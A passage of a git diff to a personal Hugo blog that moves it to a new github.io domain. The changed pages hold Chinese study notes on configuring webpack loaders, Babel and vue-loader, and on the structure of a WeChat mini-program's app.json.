-</code></pre><p>配置webpack.config.js</p><p>test: /.js$/, use: &ldquo;babel-loader&rdquo;, exclude: /node_modules/</p><p>excludes是排除项，表示babel-loader不需要处理node_modules中的js文件</p><hr><p>配置postCSS，自动添加css兼容性</p><p>npm i postcss-loader autoprefixer -D</p><p>配置postcss.config.js，并且初始化</p><pre><code>const autoprefixer = require(&quot;autoprefixer&quot;) // 导入插件
-
-module.exports = {
-    plugins: [autoprefixer] // 加载插件
-}
-</code></pre><p>配置webpack.config.js</p><p>test: /.css$/, use: [&ldquo;style-loader&rdquo;,&ldquo;css-loader&rdquo;,&ldquo;postcss-loader&rdquo;]</p><hr><p>导入vue单文件组件</p><p>import App from &ldquo;./App.vue&rdquo;</p><p>安装处理vue单文件的loader</p><p>npm i vue-loader vue-template-compile -D</p><p>添加loader配置文件</p><p>处理vue文件的loader需要VueLoaderPlugin插件</p><pre><code>const VueLoaderPlugin = require(&quot;vue-loader/lib/plugin&quot;);
-
-
-test: /\.vue$/, loader: &quot;vue-loader&quot;
-
-plugins: [
-    new VueLoaderPlugin()
-]
-</code></pre><hr><p>webpack dev-Server和proxy代理</p><hr><p>loaders及plugins的处理</p><hr><p>resolve/sourceMap</p><hr><p>webpack性能优化（TreeShaking，热更新）</p><hr><p>具体请看webpack官方文档</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/webpack/>webpack</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/48/><span class=title>« Prev</span><br><span>微信小程序学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/45/><span class=title>Next »</span><br><span>Grid布局学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+module.exports = { entry: '入口文件的路径', output: { path:__dirname, filename: '最后输出到哪个文件的文件名' }, module: { rules: [{ test: '处理什么格式的文件', use:[ { loader: '依赖包' } ] } ] } }; 模块化"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"webpack学习笔记","item":"https://chenjunlinabc.github.io/posts/47/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"webpack学习笔记","name":"webpack学习笔记","description":"webpack作为模块加载和打包神器\n安装node就有npm了，用npm安装webpack\nnpm i webpack webpack-cli -g 安装全局的webpack\n到项目目录下，npm init -y 初始化模块\nnpm i webpack webpack-cli -D 安装项目局部的webpack，-D是\u0026ndash;save-dev的意思，推荐使用\nwebpack 入口文件名 最后输出到哪个文件的文件名，例如：\nnpx webpack A.js B.js\n那么就会编译A.js，输出到B.js\nwebpack只能处理JavaScript，处理其他类型的文件，需要安装几个包\nnpm install css-loader style-loader\n假设有个一个abc.css文件，里面定好了样式\n那么修改A.js\nrequire(\u0026quot;!style-loader!css-loader!./abc.css\u0026quot;); document.write(require(\u0026quot;./C.js\u0026quot;));\n再打包一次\nnpx webpack A.js B.js\n会出现一个C.js\n配置webpack.config.js\nmodule.exports = { entry: '入口文件的路径', output: { path:__dirname, filename: '最后输出到哪个文件的文件名' }, module: { rules: [{ test: '处理什么格式的文件', use:[ { loader: '依赖包' } ] } ] } }; 模块化","keywords":["webpack"],"articleBody":"webpack作为模块加载和打包神器\n安装node就有npm了，用npm安装webpack\nnpm i webpack webpack-cli -g 安装全局的webpack\n到项目目录下，npm init -y 初始化模块\nnpm i webpack webpack-cli -D 安装项目局部的webpack，-D是–save-dev的意思，推荐使用\nwebpack 入口文件名 最后输出到哪个文件的文件名，例如：\nnpx webpack A.js B.js\n那么就会编译A.js，输出到B.js\nwebpack只能处理JavaScript，处理其他类型的文件，需要安装几个包\nnpm install css-loader style-loader\n假设有个一个abc.css文件，里面定好了样式\n那么修改A.js\nrequire(\"!style-loader!css-loader!./abc.css\"); document.write(require(\"./C.js\"));\n再打包一次\nnpx webpack A.js B.js\n会出现一个C.js\n配置webpack.config.js\nmodule.exports = { entry: '入口文件的路径', output: { path:__dirname, filename: '最后输出到哪个文件的文件名' }, module: { rules: [{ test: '处理什么格式的文件', use:[ { loader: '依赖包' } ] } ] } }; 模块化\nimport $ from “jquery” // 导入jQuery，只需要src当前js文件就可以导入jQuery依赖\nloader加载器打包非js模块，比如：\nless-loader：打包.less相关文件\nsass-loader：打包.scss相关文件\nurl-loader：打包处理css中与url路径相关的文件\nwebpack打包处理过程：\n先判断是否为js模块，不是就检查是否配置了对应的loader，配置了就是调用loader处理，没有配置就是报错\n如果是js模块就判断是否包含了高级js语法，没有包含就直接调用webpack处理，包含了就检查是否配置了babel，配置了就是调用loader处理，没有配置就报错\n加载器的使用\nnpm i style-loader css-loader -D // 安装处理css文件的loader\n在webpack.config.js的module -\u003e rules数组中，添加loader规则，例如：\nmodule: { rules: [ { test: /\\.css$/, use: [\"style-loader\",\"css-loader\"] } ] } 注意：\ntest表示匹配的文件类型，use表示要调用的loader\nuse数组中指定的loader顺序是固定的，调用顺序是从后往前调用的\nless loader\nnpm i less-loader less -D\ntest: /.less$/, use: [“style-loader”,“css-loader”,“less-loader”]\n先把less解析为css文件，然后再解析css文件\nscss loader\nnpm i sass-loader node-sass -D\ntest: /.scss$/, use: [“style-loader”,“css-loader”,“sass-loader”]\n打包样式表的图片和字体\nnpm i url-loader file-loader -D\ntest: /.jpg|png|gif|bmp|ttf|eot|svg|woff|woff2$/, use: “url-loader?limit=1024”\nlimit是用来指定图片的大小的，单位是字节（b），只有小于limit大小的图片，才被转换为base64图片\n打包js高级语法\n安装babel转换器相关的包\nnpm i babel-loader @babel/core @babel/runtime -D\n安装babel语法插件相关的包\nnpm i @babel/preset-env @babel/plugin-transform-runtime @babel/plugin-proposal-properties -D\n配置babel.config.js并初始化\nmodule.exports = { presets: [\"@babel/preset-env\"], plugins: [\"@babel/plugin-transform-runtime\",\"@babel/plugin-proposal-properties\"] } 配置webpack.config.js\ntest: /.js$/, use: “babel-loader”, exclude: /node_modules/\nexcludes是排除项，表示babel-loader不需要处理node_modules中的js文件\n配置postCSS，自动添加css兼容性\nnpm i postcss-loader autoprefixer -D\n配置postcss.config.js，并且初始化\nconst autoprefixer = require(\"autoprefixer\") // 导入插件 module.exports = { plugins: [autoprefixer] // 加载插件 } 配置webpack.config.js\ntest: /.css$/, use: [“style-loader”,“css-loader”,“postcss-loader”]\n导入vue单文件组件\nimport App from “./App.vue”\n安装处理vue单文件的loader\nnpm i vue-loader vue-template-compile -D\n添加loader配置文件\n处理vue文件的loader需要VueLoaderPlugin插件\nconst VueLoaderPlugin = require(\"vue-loader/lib/plugin\"); test: /\\.vue$/, loader: \"vue-loader\" plugins: [ new VueLoaderPlugin() ] webpack dev-Server和proxy代理\nloaders及plugins的处理\nresolve/sourceMap\nwebpack性能优化（TreeShaking，热更新）\n具体请看webpack官方文档\n","wordCount":"233","inLanguage":"en","datePublished":"2021-06-24T10:11:00Z","dateModified":"2021-06-24T10:11:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/47/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>webpack学习笔记</h1><div class=post-meta><span title='2021-06-24 10:11:00 +0000 UTC'>2021-06-24</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/webpack%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>webpack作为模块加载和打包神器</p><p>安装node就有npm了，用npm安装webpack</p><p>npm i webpack webpack-cli -g 安装全局的webpack</p><p>到项目目录下，npm init -y 初始化模块</p><p>npm i webpack webpack-cli -D 安装项目局部的webpack，-D是&ndash;save-dev的意思，推荐使用</p><p>webpack 入口文件名 最后输出到哪个文件的文件名，例如：</p><p>npx webpack A.js B.js</p><p>那么就会编译A.js，输出到B.js</p><p>webpack只能处理JavaScript，处理其他类型的文件，需要安装几个包</p><p>npm install css-loader style-loader</p><p>假设有个一个abc.css文件，里面定好了样式</p><p>那么修改A.js</p><p>require("!style-loader!css-loader!./abc.css");
+document.write(require("./C.js"));</p><p>再打包一次</p><p>npx webpack A.js B.js</p><p>会出现一个C.js</p><p>配置webpack.config.js</p><pre><code>module.exports = {
+    entry: '入口文件的路径',
+    output: {
+        path:__dirname,
+        filename: '最后输出到哪个文件的文件名'
+    },
+    module: {
+        rules: [{
+            test: '处理什么格式的文件',
+            use:[
+              {
+                loader: '依赖包'
+              }
+            ]
+          }
+        ]
+    }
+};
+</code></pre><hr><p>模块化</p><p>import $ from &ldquo;jquery&rdquo; // 导入jQuery，只需要src当前js文件就可以导入jQuery依赖</p><p>loader加载器打包非js模块，比如：</p><p>less-loader：打包.less相关文件</p><p>sass-loader：打包.scss相关文件</p><p>url-loader：打包处理css中与url路径相关的文件</p><p>webpack打包处理过程：</p><p>先判断是否为js模块，不是就检查是否配置了对应的loader，配置了就是调用loader处理，没有配置就是报错</p><p>如果是js模块就判断是否包含了高级js语法，没有包含就直接调用webpack处理，包含了就检查是否配置了babel，配置了就是调用loader处理，没有配置就报错</p><p>加载器的使用</p><p>npm i style-loader css-loader -D // 安装处理css文件的loader</p><p>在webpack.config.js的module -> rules数组中，添加loader规则，例如：</p><pre><code>module: {
+    rules: [
+        {
+            test: /\.css$/, use: [&quot;style-loader&quot;,&quot;css-loader&quot;]
+        }
+    ]
+}
+</code></pre><p>注意：</p><p>test表示匹配的文件类型，use表示要调用的loader</p><p>use数组中指定的loader顺序是固定的，调用顺序是从后往前调用的</p><hr><p>less loader</p><p>npm i less-loader less -D</p><p>test: /.less$/, use: [&ldquo;style-loader&rdquo;,&ldquo;css-loader&rdquo;,&ldquo;less-loader&rdquo;]</p><p>先把less解析为css文件，然后再解析css文件</p><p>scss loader</p><p>npm i sass-loader node-sass -D</p><p>test: /.scss$/, use: [&ldquo;style-loader&rdquo;,&ldquo;css-loader&rdquo;,&ldquo;sass-loader&rdquo;]</p><hr><p>打包样式表的图片和字体</p><p>npm i url-loader file-loader -D</p><p>test: /.jpg|png|gif|bmp|ttf|eot|svg|woff|woff2$/, use: &ldquo;url-loader?limit=1024&rdquo;</p><p>limit是用来指定图片的大小的，单位是字节（b），只有小于limit大小的图片，才被转换为base64图片</p><hr><p>打包js高级语法</p><p>安装babel转换器相关的包</p><p>npm i babel-loader @babel/core @babel/runtime -D</p><p>安装babel语法插件相关的包</p><p>npm i @babel/preset-env @babel/plugin-transform-runtime @babel/plugin-proposal-properties -D</p><p>配置babel.config.js并初始化</p><pre><code>module.exports = {
+    presets: [&quot;@babel/preset-env&quot;],
+    plugins: [&quot;@babel/plugin-transform-runtime&quot;,&quot;@babel/plugin-proposal-properties&quot;]
+}
+</code></pre><p>配置webpack.config.js</p><p>test: /.js$/, use: &ldquo;babel-loader&rdquo;, exclude: /node_modules/</p><p>excludes是排除项，表示babel-loader不需要处理node_modules中的js文件</p><hr><p>配置postCSS，自动添加css兼容性</p><p>npm i postcss-loader autoprefixer -D</p><p>配置postcss.config.js，并且初始化</p><pre><code>const autoprefixer = require(&quot;autoprefixer&quot;) // 导入插件
+
+module.exports = {
+    plugins: [autoprefixer] // 加载插件
+}
+</code></pre><p>配置webpack.config.js</p><p>test: /.css$/, use: [&ldquo;style-loader&rdquo;,&ldquo;css-loader&rdquo;,&ldquo;postcss-loader&rdquo;]</p><hr><p>导入vue单文件组件</p><p>import App from &ldquo;./App.vue&rdquo;</p><p>安装处理vue单文件的loader</p><p>npm i vue-loader vue-template-compile -D</p><p>添加loader配置文件</p><p>处理vue文件的loader需要VueLoaderPlugin插件</p><pre><code>const VueLoaderPlugin = require(&quot;vue-loader/lib/plugin&quot;);
+
+
+test: /\.vue$/, loader: &quot;vue-loader&quot;
+
+plugins: [
+    new VueLoaderPlugin()
+]
+</code></pre><hr><p>webpack dev-Server和proxy代理</p><hr><p>loaders及plugins的处理</p><hr><p>resolve/sourceMap</p><hr><p>webpack性能优化（TreeShaking，热更新）</p><hr><p>具体请看webpack官方文档</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/webpack/>webpack</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/48/><span class=title>« Prev</span><br><span>微信小程序学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/45/><span class=title>Next »</span><br><span>Grid布局学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/48/index.html b/posts/48/index.html
index 9847e022..e81128c1 100644
--- a/posts/48/index.html
+++ b/posts/48/index.html
@@ -28,8 +28,8 @@
 app.json定义了页面和基本配置，采用json格式，必须包含pages属性，说明小程序有哪些页面
 app.json文件结构
 pages是用来定义页面的，是一个数组，每一个项都是代表一个页面，例如：
-&#34;pages&#34;:[
&#34;pages/index/index&#34;,
&#34;pages/demo/demo&#34;
],
window属性是设置小程序的窗口样式，例如：
-&#34;window&#34;:{
&#34;backgroundTextStyle&#34;:&#34;light&#34;,
&#34;navigationBarBackgroundColor&#34;: &#34;#fff&#34;, // 导航栏背景颜色
&#34;navigationBarTitleText&#34;: &#34;Weixin&#34;, // 导航栏文本
&#34;navigationBarTextStyle&#34;:&#34;black&#34; // 导航栏文本颜色
},
从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么
+&#34;pages&#34;:[ &#34;pages/index/index&#34;, &#34;pages/demo/demo&#34; ], window属性是设置小程序的窗口样式，例如：
+&#34;window&#34;:{ &#34;backgroundTextStyle&#34;:&#34;light&#34;, &#34;navigationBarBackgroundColor&#34;: &#34;#fff&#34;, // 导航栏背景颜色 &#34;navigationBarTitleText&#34;: &#34;Weixin&#34;, // 导航栏文本 &#34;navigationBarTextStyle&#34;:&#34;black&#34; // 导航栏文本颜色 }, 从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么
 demo.js，Page()是小程序提供的一个函数，用来初始化页面，参数是一个对象，用来配置当前页面的属性
 demo.wxml，该文件是用来描述页面的，和html类似
 pages文件夹：存放小程序页面，每个页面代表为一个文件夹，文件夹名称为页面名称，在这个页面文件夹下的全部文件都是描述这个页面的
@@ -48,8 +48,8 @@
 WXML：从html中衍生而来一种专门在小程序页面中使用的语言，组合了基础组件，事件系统，构造出页面的结构
 view元素是表示块级，和div类似
 scroll-view元素是表示可滚动页面区域
-text元素是表示行内文本，和span类似"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/48/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="微信小程序学习笔记"><meta property="og:description" content="小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）
+text元素是表示行内文本，和span类似"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/48/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="微信小程序学习笔记"><meta property="og:description" content="小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）
 微信之父张小龙是这样描述小程序的：
 小程序是一种不需要下载安装就可以使用的应用，它实现了应用触手可及的梦想。
 用户扫一扫或者搜一下即可打开应用，也体现了用完即走的理念。
@@ -79,8 +79,8 @@
 app.json定义了页面和基本配置，采用json格式，必须包含pages属性，说明小程序有哪些页面
 app.json文件结构
 pages是用来定义页面的，是一个数组，每一个项都是代表一个页面，例如：
-&#34;pages&#34;:[
&#34;pages/index/index&#34;,
&#34;pages/demo/demo&#34;
],
window属性是设置小程序的窗口样式，例如：
-&#34;window&#34;:{
&#34;backgroundTextStyle&#34;:&#34;light&#34;,
&#34;navigationBarBackgroundColor&#34;: &#34;#fff&#34;, // 导航栏背景颜色
&#34;navigationBarTitleText&#34;: &#34;Weixin&#34;, // 导航栏文本
&#34;navigationBarTextStyle&#34;:&#34;black&#34; // 导航栏文本颜色
},
从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么
+&#34;pages&#34;:[ &#34;pages/index/index&#34;, &#34;pages/demo/demo&#34; ], window属性是设置小程序的窗口样式，例如：
+&#34;window&#34;:{ &#34;backgroundTextStyle&#34;:&#34;light&#34;, &#34;navigationBarBackgroundColor&#34;: &#34;#fff&#34;, // 导航栏背景颜色 &#34;navigationBarTitleText&#34;: &#34;Weixin&#34;, // 导航栏文本 &#34;navigationBarTextStyle&#34;:&#34;black&#34; // 导航栏文本颜色 }, 从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么
 demo.js，Page()是小程序提供的一个函数，用来初始化页面，参数是一个对象，用来配置当前页面的属性
 demo.wxml，该文件是用来描述页面的，和html类似
 pages文件夹：存放小程序页面，每个页面代表为一个文件夹，文件夹名称为页面名称，在这个页面文件夹下的全部文件都是描述这个页面的
@@ -99,7 +99,7 @@
 WXML：从html中衍生而来一种专门在小程序页面中使用的语言，组合了基础组件，事件系统，构造出页面的结构
 view元素是表示块级，和div类似
 scroll-view元素是表示可滚动页面区域
-text元素是表示行内文本，和span类似"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/48/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-27T12:34:00+00:00"><meta property="article:modified_time" content="2021-06-27T12:34:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="微信小程序学习笔记"><meta name=twitter:description content="小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）
+text元素是表示行内文本，和span类似"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/48/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-27T12:34:00+00:00"><meta property="article:modified_time" content="2021-06-27T12:34:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="微信小程序学习笔记"><meta name=twitter:description content="小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）
 微信之父张小龙是这样描述小程序的：
 小程序是一种不需要下载安装就可以使用的应用，它实现了应用触手可及的梦想。
 用户扫一扫或者搜一下即可打开应用，也体现了用完即走的理念。
@@ -129,8 +129,8 @@
 app.json定义了页面和基本配置，采用json格式，必须包含pages属性，说明小程序有哪些页面
 app.json文件结构
 pages是用来定义页面的，是一个数组，每一个项都是代表一个页面，例如：
-&#34;pages&#34;:[
&#34;pages/index/index&#34;,
&#34;pages/demo/demo&#34;
],
window属性是设置小程序的窗口样式，例如：
-&#34;window&#34;:{
&#34;backgroundTextStyle&#34;:&#34;light&#34;,
&#34;navigationBarBackgroundColor&#34;: &#34;#fff&#34;, // 导航栏背景颜色
&#34;navigationBarTitleText&#34;: &#34;Weixin&#34;, // 导航栏文本
&#34;navigationBarTextStyle&#34;:&#34;black&#34; // 导航栏文本颜色
},
从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么
+&#34;pages&#34;:[ &#34;pages/index/index&#34;, &#34;pages/demo/demo&#34; ], window属性是设置小程序的窗口样式，例如：
+&#34;window&#34;:{ &#34;backgroundTextStyle&#34;:&#34;light&#34;, &#34;navigationBarBackgroundColor&#34;: &#34;#fff&#34;, // 导航栏背景颜色 &#34;navigationBarTitleText&#34;: &#34;Weixin&#34;, // 导航栏文本 &#34;navigationBarTextStyle&#34;:&#34;black&#34; // 导航栏文本颜色 }, 从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么
 demo.js，Page()是小程序提供的一个函数，用来初始化页面，参数是一个对象，用来配置当前页面的属性
 demo.wxml，该文件是用来描述页面的，和html类似
 pages文件夹：存放小程序页面，每个页面代表为一个文件夹，文件夹名称为页面名称，在这个页面文件夹下的全部文件都是描述这个页面的
@@ -149,93 +149,93 @@
